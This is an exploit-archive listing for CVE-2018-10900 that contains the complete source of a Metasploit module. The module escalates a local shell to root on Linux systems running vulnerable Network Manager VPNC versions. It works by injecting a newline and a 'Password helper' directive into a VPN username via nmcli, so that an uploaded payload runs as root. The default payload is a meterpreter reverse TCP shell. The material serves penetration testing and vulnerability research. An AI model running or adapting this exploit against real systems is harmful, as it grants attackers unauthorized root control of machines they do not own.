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Network Manager VPNC Username Privilege Escalation

Network Manager VPNC Username Privilege Escalation
Posted Aug 31, 2018
Authored by Brendan Coles, Denis Andzakovic | Site metasploit.com

This Metasploit module exploits an injection vulnerability in the Network Manager VPNC plugin to gain root privileges. This Metasploit module uses a new line injection vulnerability in the configured username for a VPN network connection to inject a `Password helper` configuration directive into the connection configuration. The specified helper is executed by Network Manager as root when the connection is started. Network Manager VPNC versions prior to 1.2.6 are vulnerable. This Metasploit module has been tested successfully with VPNC versions: 1.2.4-4 on Debian 9.0.0 (x64); and 1.1.93-1 on Ubuntu Linux 16.04.4 (x64).

tags | exploit, root
systems | linux, debian, ubuntu
advisories | CVE-2018-10900
MD5 | 37f40fef98e4c4b4a836d2e93622bc7f

Network Manager VPNC Username Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Network Manager VPNC Username Privilege Escalation',
'Description' => %q{
This module exploits an injection vulnerability in the Network Manager
VPNC plugin to gain root privileges.

This module uses a new line injection vulnerability in the configured
username for a VPN network connection to inject a `Password helper`
configuration directive into the connection configuration.

The specified helper is executed by Network Manager as root when the
connection is started.

Network Manager VPNC versions prior to 1.2.6 are vulnerable.

This module has been tested successfully with VPNC versions:
1.2.4-4 on Debian 9.0.0 (x64); and
1.1.93-1 on Ubuntu Linux 16.04.4 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Denis Andzakovic', # Discovery and exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Jul 26 2018',
'References' =>
[
['CVE', '2018-10900'],
['URL', 'http://seclists.org/oss-sec/2018/q3/51'],
['URL', 'https://pulsesecurity.co.nz/advisories/NM-VPNC-Privesc'],
['URL', 'https://gitlab.gnome.org/GNOME/NetworkManager-vpnc/commit/07ac18a32b4'],
['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-10900'],
['URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-10900.html'],
['URL', 'https://launchpad.net/ubuntu/+source/network-manager-vpnc/0.9.8.6-1ubuntu2.1'],
['URL', 'https://www.debian.org/security/2018/dsa-4253'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1605919'],
['URL', 'https://bugzilla.novell.com/show_bug.cgi?id=1101147']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end

def check
unless command_exists? 'nmcli'
vprint_error 'Network Manager nmcli utility is not installed'
return CheckCode::Safe
end
vprint_good 'nmcli utility is installed'

CheckCode::Detected
end

def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

if check != CheckCode::Detected
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

@payload_name = ".#{rand_text_alphanumeric rand(10..15)}"
payload_path = "#{base_dir}/#{@payload_name}"

print_status 'Adding VPN connection...'
vpn_data = []
vpn_data << '+vpn.data "IKE DH Group = dh2"'
vpn_data << "+vpn.data 'IPSec ID = #{rand_text_alphanumeric 5..10}'"
vpn_data << '+vpn.data "IPSec gateway = 127.0.0.1"'
vpn_data << '+vpn.data "IPSec secret-flags = 4"'
vpn_data << '+vpn.data "Local Port = 0"'
vpn_data << '+vpn.data "NAT Traversal Mode = natt"'
vpn_data << '+vpn.data "Perfect Forward Secrecy = server"'
vpn_data << '+vpn.data "Vendor = cisco"'
vpn_data << '+vpn.data "Xauth password-flags = 4"'
vpn_data << "+vpn.data \"Xauth username = #{rand_text_alphanumeric 5..10}\nPassword helper #{payload_path}\""
vpn_data << "+vpn.data 'ipsec-secret-type = #{rand_text_alphanumeric 5..10}'"
vpn_data << "+vpn.data 'xauth-password-type = #{rand_text_alphanumeric 5..10}'"
res = cmd_exec "nmcli connection add con-name #{@payload_name} type vpn ifname '*' vpn-type vpnc -- #{vpn_data.join(' ')}"
if res.include? 'Error'
fail_with Failure::Unknown, 'Could not create VPN connection'
end

res = cmd_exec 'nmcli connection'
unless res.include? @payload_name
fail_with Failure::Unknown, 'Could not create VPN connection'
end

print_status 'Uploading payload...'
upload_and_chmodx payload_path, generate_payload_exe

print_status 'Starting VPN connection...'
cmd_exec "nmcli connection up #{@payload_name} & echo "
end

def cleanup
print_status 'Removing VPN connection...'
res = cmd_exec "nmcli connection delete #{@payload_name}"
unless res.include? 'successfully deleted'
print_warning "Could not remove VPN connection #{@payload_name}"
end
super
end
end

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